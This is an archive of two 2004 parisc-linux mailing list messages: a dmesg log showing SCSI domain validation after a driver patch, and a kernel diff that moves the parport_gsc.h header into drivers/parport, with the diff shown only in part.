Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 14:19:36 -0500
Organization: wh0rd.org
Lines: 149
Approved: news@gmane.org
Message-ID: <200412291419.36568.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<200412272301.03299.vapier@gentoo.org>
	<20041229034331.GS11543@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_INw0BoSohLTEcK1"
X-Trace: ger.gmane.org 1416624517 26543 80.91.229.3 (22 Nov 2014 02:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 19:20:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 29 Dec 2004 20:20:12 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 90D643BE48; Wed, 29 Dec 2004 12:20:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15276-10; Wed, 29 Dec 2004 12:20:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 28ACA3BE53; Wed, 29 Dec 2004 12:19:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 498463BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 12:19:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14502-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 12:19:26 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 38D9B3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 12:19:26 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id ADD9A495696; Wed, 29 Dec 2004 12:19:25 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id E56BB495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 12:19:24 -0700 (MST)
Original-Received: (qmail 305 invoked from network); 29 Dec 2004 14:19:21 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 29 Dec 2004 14:19:21 -0500
Original-Received: (qmail 28741 invoked from network); 29 Dec 2004 14:19:18 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 29 Dec 2004 14:19:18 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <20041229034331.GS11543@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25048

--Boundary-00=_INw0BoSohLTEcK1
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Tuesday 28 December 2004 10:43 pm, Matthew Wilcox wrote:
> Okey dokey.  Here's a new one.  Now we only use PPR if we have a good
> reason (eg we want to negotiate FAST-80 or DT clocking).  I'm sick of
> devices that implement SDTR perfectly and have buggy PPR ;-(

system booted nicely :)

new dmesg attached !
-mike

--Boundary-00=_INw0BoSohLTEcK1
Content-Type: text/plain; charset="iso-8859-1";
	name="2.6.10-pa1-scsi-debug-patch4"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-debug-patch4"

eth0: Digital DS21143 Tulip rev 65 at 80000080, 00:10:83:35:8C:80, IRQ 96.
sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-0.
sym0:6:sync msgin: 1-3-1-c-0.
sym0:6:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:6: wide asynchronous.
sym0:6:sync msgout: 1-3-1-c-10.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9:wide msgout: 1-2-3-0.
sym0:9:wide msgin: 1-2-3-0.
sym0:9:wdtr: wide=0 chg=0.
sym0:9:sync msgin: 1-3-1-c-1f.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=1.
sym0:9: FAST-20 SCSI 20.0 MB/s ST (50.0 ns, offset 16)
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:sync msgin: 1-3-1-c-10.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=0.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-d-10.
sym0:9:sync msgin: 1-3-1-19-10.
sym0:9:sdtr: ofs=16 per=25 div=2 fak=0 chg=0.
sym0:9: FAST-10 WIDE SCSI 20.0 MB/s ST (100.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-25-10.
sym0:9:sync msgin: 1-3-1-25-10.
sym0:9:sdtr: ofs=16 per=37 div=2 fak=2 chg=0.
sym0:9: FAST-10 WIDE SCSI 13.5 MB/s ST (148.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-37-10.
sym0:9:sync msgin: 1-3-1-38-10.
sym0:9:sdtr: ofs=16 per=56 div=4 fak=1 chg=0.
sym0:9: FAST-5 WIDE SCSI 8.9 MB/s ST (224.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-54-10.
sym0:9:sync msgin: 1-3-1-57-10.
sym0:9: wide asynchronous.
sym0:9:0:M_REJECT to send for : 1-3-1-57-10.
sym0:9:sync msgout: 1-3-1-c-0.
sym0:9:sync msgin: 1-3-1-c-0.
sym0:9:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-7e-0.
sym0:9:sync msgin: 1-3-1-7e-0.
sym0:9:sdtr: ofs=0 per=126 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-89-0.
sym0:9:sync msgin: 1-3-1-89-0.
sym0:9:sdtr: ofs=0 per=137 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation Failure, dropping back to Asynchronous
 target0:0:9: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
  Vendor: TOSHIBA   Model: CD-ROM XM-5301TA  Rev: 1895
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target1:0:2: Beginning Domain Validation
scsi1: (2:0) Asynchronous
scsi1: (2:0) Synchronous at offset 8, period 236ns
 target1:0:2: Domain Validation skipping write tests
 target1:0:2: Ending Domain Validation
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 9, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 9, lun 0,  type 0
Attached scsi generic sg2 at scsi1, channel 0, id 2, lun 0,  type 5

--Boundary-00=_INw0BoSohLTEcK1
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_INw0BoSohLTEcK1--



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.10-pa1 compile fails
Date: Wed, 29 Dec 2004 19:45:15 +0000
Lines: 1121
Approved: news@gmane.org
Message-ID: <41D3094B.4060206__41675.5593651489$1416624517$gmane$org@tiscali.be>
References: <Pine.LNX.4.21.0412291312230.15774-100000@hal.pp.fishpool.fi>	<41D2CF5D.3020801@tiscali.be>
	<20041229154533.GA8376@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------000002040600050003070403"
X-Trace: ger.gmane.org 1416624517 26547 80.91.229.3 (22 Nov 2014 02:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:37 +0000 (UTC)
Cc: =?ISO-8859-1?Q?Martin-=C9ric_Ra?= =?ISO-8859-1?Q?cine?= <q-funk@iki.fi>,
 Joel Soete <joel.soete@tiscali.be>,
 debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 19:45:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 29 Dec 2004 20:45:55 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8CA693BE51; Wed, 29 Dec 2004 12:45:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16429-06; Wed, 29 Dec 2004 12:45:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4A3313BE59; Wed, 29 Dec 2004 12:45:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 752C73BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 12:45:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16314-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 12:45:28 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 231A43BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 12:45:28 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id CB00E495696; Wed, 29 Dec 2004 12:45:27 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id 02DE4495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 12:45:26 -0700 (MST)
Original-Received: from [83.134.227.210] (helo=[83.134.227.210])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Cjjky-0005hT-GW; Wed, 29 Dec 2004 20:45:18 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041229154533.GA8376@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25049

This is a multi-part message in MIME format.
--------------000002040600050003070403
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit



Matthew Wilcox wrote:
> On Wed, Dec 29, 2004 at 03:38:05PM +0000, Joel Soete wrote:
> 
>>mmm don't have such error with gcc-3.3.5.
> 
> 
> We had this discussion two months ago.
> 
> http://lists.debian.org/debian-hppa/2004/10/msg00021.html
> 
Taken this into account, I move parport_gsc.h into drivers/parport and remove stuff from parport_gsc.c
(btw I add a gnu license to parport_gsc.h based on the one of parport_gsc.c ;-)

--- include/asm-parisc/parport_gsc.h.Orig	2004-12-29 16:17:31.110118022 +0100
+++ include/asm-parisc/parport_gsc.h	1970-01-01 01:00:00.000000000 +0100
@@ -1,193 +0,0 @@
-#ifndef __LINUX_PARPORT_GSC_H
-#define __LINUX_PARPORT_GSC_H
-
-#include <asm/io.h>
-#include <linux/delay.h>
-
-#undef	DEBUG_PARPORT	/* undefine for production */
-#define DELAY_TIME 	0
-
-#if DELAY_TIME == 0
-#define parport_readb	gsc_readb
-#define parport_writeb	gsc_writeb
-#else
-static __inline__ unsigned char parport_readb( unsigned long port )
-{
-    udelay(DELAY_TIME);
-    return gsc_readb(port);
-}
-
-static __inline__ void parport_writeb( unsigned char value, unsigned long port )
-{
-    gsc_writeb(value,port);
-    udelay(DELAY_TIME);
-}
-#endif
-
-/* --- register definitions ------------------------------- */
-
-#define EPPDATA(p)  ((p)->base    + 0x4)
-#define EPPADDR(p)  ((p)->base    + 0x3)
-#define CONTROL(p)  ((p)->base    + 0x2)
-#define STATUS(p)   ((p)->base    + 0x1)
-#define DATA(p)     ((p)->base    + 0x0)
-
-struct parport_gsc_private {
-	/* Contents of CTR. */
-	unsigned char ctr;
-
-	/* Bitmask of writable CTR bits. */
-	unsigned char ctr_writable;
-
-	/* Number of bytes per portword. */
-	int pword;
-
-	/* Not used yet. */
-	int readIntrThreshold;
-	int writeIntrThreshold;
-
-	/* buffer suitable for DMA, if DMA enabled */
-	char *dma_buf;
-	dma_addr_t dma_handle;
-	struct pci_dev *dev;
-};
-
-extern __inline__ void parport_gsc_write_data(struct parport *p, unsigned char d)
-{
-#ifdef DEBUG_PARPORT
-	printk (KERN_DEBUG "parport_gsc_write_data(%p,0x%02x)\n", p, d);
-#endif
-	parport_writeb(d, DATA(p));
-}
-
-extern __inline__ unsigned char parport_gsc_read_data(struct parport *p)
-{
-	unsigned char val = parport_readb (DATA (p));
-#ifdef DEBUG_PARPORT
-	printk (KERN_DEBUG "parport_gsc_read_data(%p) = 0x%02x\n",
-		p, val);
-#endif
-	return val;
-}
-
-/* __parport_gsc_frob_control differs from parport_gsc_frob_control in that
- * it doesn't do any extra masking. */
-static __inline__ unsigned char __parport_gsc_frob_control (struct parport *p,
-							   unsigned char mask,
-							   unsigned char val)
-{
-	struct parport_gsc_private *priv = p->physport->private_data;
-	unsigned char ctr = priv->ctr;
-#ifdef DEBUG_PARPORT
-	printk (KERN_DEBUG
-		"__parport_gsc_frob_control(%02x,%02x): %02x -> %02x\n",
-		mask, val, ctr, ((ctr & ~mask) ^ val) & priv->ctr_writable);
-#endif
-	ctr = (ctr & ~mask) ^ val;
-	ctr &= priv->ctr_writable; /* only write writable bits. */
-	parport_writeb (ctr, CONTROL (p));
-	priv->ctr = ctr;	/* Update soft copy */
-	return ctr;
-}
-
-extern __inline__ void parport_gsc_data_reverse (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0x20);
-}
-
-extern __inline__ void parport_gsc_data_forward (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0x00);
-}
-
-extern __inline__ void parport_gsc_write_control (struct parport *p,
-						 unsigned char d)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to newer interface. */
-	if (d & 0x20) {
-		printk (KERN_DEBUG "%s (%s): use data_reverse for this!\n",
-			p->name, p->cad->name);
-		parport_gsc_data_reverse (p);
-	}
-
-	__parport_gsc_frob_control (p, wm, d & wm);
-}
-
-extern __inline__ unsigned char parport_gsc_read_control(struct parport *p)
-{
-	const unsigned char rm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-	const struct parport_gsc_private *priv = p->physport->private_data;
-	return priv->ctr & rm; /* Use soft copy */
-}
-
-extern __inline__ unsigned char parport_gsc_frob_control (struct parport *p,
-							 unsigned char mask,
-							 unsigned char val)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to newer interface. */
-	if (mask & 0x20) {
-		printk (KERN_DEBUG "%s (%s): use data_%s for this!\n",
-			p->name, p->cad->name,
-			(val & 0x20) ? "reverse" : "forward");
-		if (val & 0x20)
-			parport_gsc_data_reverse (p);
-		else
-			parport_gsc_data_forward (p);
-	}
-
-	/* Restrict mask and val to control lines. */
-	mask &= wm;
-	val &= wm;
-
-	return __parport_gsc_frob_control (p, mask, val);
-}
-
-extern __inline__ unsigned char parport_gsc_read_status(struct parport *p)
-{
-	return parport_readb (STATUS(p));
-}
-
-
-extern __inline__ void parport_gsc_disable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0x00);
-}
-
-extern __inline__ void parport_gsc_enable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0x10);
-}
-
-extern void parport_gsc_release_resources(struct parport *p);
-
-extern int parport_gsc_claim_resources(struct parport *p);
-
-extern void parport_gsc_init_state(struct pardevice *, struct parport_state *s);
-
-extern void parport_gsc_save_state(struct parport *p, struct parport_state *s);
-
-extern void parport_gsc_restore_state(struct parport *p, struct parport_state *s);
-
-extern void parport_gsc_inc_use_count(void);
-
-extern void parport_gsc_dec_use_count(void);
-
-extern struct parport *parport_gsc_probe_port (unsigned long base,
-					      unsigned long base_hi,
-					      int irq, int dma,
-					      struct pci_dev *dev);
-
-#endif
--- drivers/parport/parport_gsc.h.Orig	1970-01-01 01:00:00.000000000 +0100
+++ drivers/parport/parport_gsc.h	2004-12-29 20:25:09.872226309 +0100
@@ -0,0 +1,222 @@
+/*
+ *	Low-level parallel-support for PC-style hardware integrated in the
+ *	LASI-Controller (on GSC-Bus) for HP-PARISC Workstations
+ *
+ *	(C) 1999-2001 by Helge Deller <deller@gmx.de>
+ *
+ *
+ *	This program is free software; you can redistribute it and/or modify
+ *	it under the terms of the GNU General Public License as published by
+ *	the Free Software Foundation; either version 2 of the License, or
+ *	(at your option) any later version.
+ *
+ *	This program is distributed in the hope that it will be useful,
+ *	but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *	GNU General Public License for more details.
+ *
+ *	You should have received a copy of the GNU General Public License
+ *	along with this program; if not, write to the Free Software
+ *	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ *
+ * based on parport_pc.c by
+ * 	    Grant Guenther <grant@torque.net>
+ * 	    Phil Blundell <Philip.Blundell@pobox.com>
+ *          Tim Waugh <tim@cyberelk.demon.co.uk>
+ *	    Jose Renau <renau@acm.org>
+ *          David Campbell <campbell@torque.net>
+ *          Andrea Arcangeli
+ */
+
+#ifndef	__DRIVERS_PARPORT_PARPORT_GSC_H
+#define	__DRIVERS_PARPORT_PARPORT_GSC_H
+
+#include <asm/io.h>
+#include <linux/delay.h>
+
+#undef	DEBUG_PARPORT	/* undefine for production */
+#define DELAY_TIME 	0
+
+#if DELAY_TIME == 0
+#define parport_readb	gsc_readb
+#define parport_writeb	gsc_writeb
+#else
+static __inline__ unsigned char parport_readb( unsigned long port )
+{
+    udelay(DELAY_TIME);
+    return gsc_readb(port);
+}
+
+static __inline__ void parport_writeb( unsigned char value, unsigned long port )
+{
+    gsc_writeb(value,port);
+    udelay(DELAY_TIME);
+}
+#endif
+
+/* --- register definitions ------------------------------- */
+
+#define EPPDATA(p)  ((p)->base    + 0x4)
+#define EPPADDR(p)  ((p)->base    + 0x3)
+#define CONTROL(p)  ((p)->base    + 0x2)
+#define STATUS(p)   ((p)->base    + 0x1)
+#define DATA(p)     ((p)->base    + 0x0)
+
+struct parport_gsc_private {
+	/* Contents of CTR. */
+	unsigned char ctr;
+
+	/* Bitmask of writable CTR bits. */
+	unsigned char ctr_writable;
+
+	/* Number of bytes per portword. */
+	int pword;
+
+	/* Not used yet. */
+	int readIntrThreshold;
+	int writeIntrThreshold;
+
+	/* buffer suitable for DMA, if DMA enabled */
+	char *dma_buf;
+	dma_addr_t dma_handle;
+	struct pci_dev *dev;
+};
+
+static inline void parport_gsc_write_data(struct parport *p, unsigned char d)
+{
+#ifdef DEBUG_PARPORT
+	printk (KERN_DEBUG "parport_gsc_write_data(%p,0x%02x)\n", p, d);
+#endif
+	parport_writeb(d, DATA(p));
+}
+
+static inline unsigned char parport_gsc_read_data(struct parport *p)
+{
+	unsigned char val = parport_readb (DATA (p));
+#ifdef DEBUG_PARPORT
+	printk (KERN_DEBUG "parport_gsc_read_data(%p) = 0x%02x\n",
+		p, val);
+#endif
+	return val;
+}
+
+/* __parport_gsc_frob_control differs from parport_gsc_frob_control in that
+ * it doesn't do any extra masking. */
+static inline unsigned char __parport_gsc_frob_control(struct parport *p,
+							unsigned char mask,
+							unsigned char val)
+{
+	struct parport_gsc_private *priv = p->physport->private_data;
+	unsigned char ctr = priv->ctr;
+#ifdef DEBUG_PARPORT
+	printk (KERN_DEBUG
+		"__parport_gsc_frob_control(%02x,%02x): %02x -> %02x\n",
+		mask, val, ctr, ((ctr & ~mask) ^ val) & priv->ctr_writable);
+#endif
+	ctr = (ctr & ~mask) ^ val;
+	ctr &= priv->ctr_writable; /* only write writable bits. */
+	parport_writeb (ctr, CONTROL (p));
+	priv->ctr = ctr;	/* Update soft copy */
+	return ctr;
+}
+
+static inline void parport_gsc_data_reverse(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x20, 0x20);
+}
+
+static inline void parport_gsc_data_forward(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x20, 0x00);
+}
+
+static inline void parport_gsc_write_control(struct parport *p,
+						 unsigned char d)
+{
+	const unsigned char wm = (PARPORT_CONTROL_STROBE |
+				  PARPORT_CONTROL_AUTOFD |
+				  PARPORT_CONTROL_INIT |
+				  PARPORT_CONTROL_SELECT);
+
+	/* Take this out when drivers have adapted to newer interface. */
+	if (d & 0x20) {
+		printk (KERN_DEBUG "%s (%s): use data_reverse for this!\n",
+			p->name, p->cad->name);
+		parport_gsc_data_reverse (p);
+	}
+
+	__parport_gsc_frob_control (p, wm, d & wm);
+}
+
+static inline unsigned char parport_gsc_read_control(struct parport *p)
+{
+	const unsigned char rm = (PARPORT_CONTROL_STROBE |
+				  PARPORT_CONTROL_AUTOFD |
+				  PARPORT_CONTROL_INIT |
+				  PARPORT_CONTROL_SELECT);
+	const struct parport_gsc_private *priv = p->physport->private_data;
+	return priv->ctr & rm; /* Use soft copy */
+}
+
+static inline unsigned char parport_gsc_frob_control(struct parport *p,
+							unsigned char mask,
+							unsigned char val)
+{
+	const unsigned char wm = (PARPORT_CONTROL_STROBE |
+				  PARPORT_CONTROL_AUTOFD |
+				  PARPORT_CONTROL_INIT |
+				  PARPORT_CONTROL_SELECT);
+
+	/* Take this out when drivers have adapted to newer interface. */
+	if (mask & 0x20) {
+		printk (KERN_DEBUG "%s (%s): use data_%s for this!\n",
+			p->name, p->cad->name,
+			(val & 0x20) ? "reverse" : "forward");
+		if (val & 0x20)
+			parport_gsc_data_reverse (p);
+		else
+			parport_gsc_data_forward (p);
+	}
+
+	/* Restrict mask and val to control lines. */
+	mask &= wm;
+	val &= wm;
+
+	return __parport_gsc_frob_control (p, mask, val);
+}
+
+static inline unsigned char parport_gsc_read_status(struct parport *p)
+{
+	return parport_readb (STATUS(p));
+}
+
+static inline void parport_gsc_disable_irq(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x10, 0x00);
+}
+
+static inline void parport_gsc_enable_irq(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x10, 0x10);
+}
+
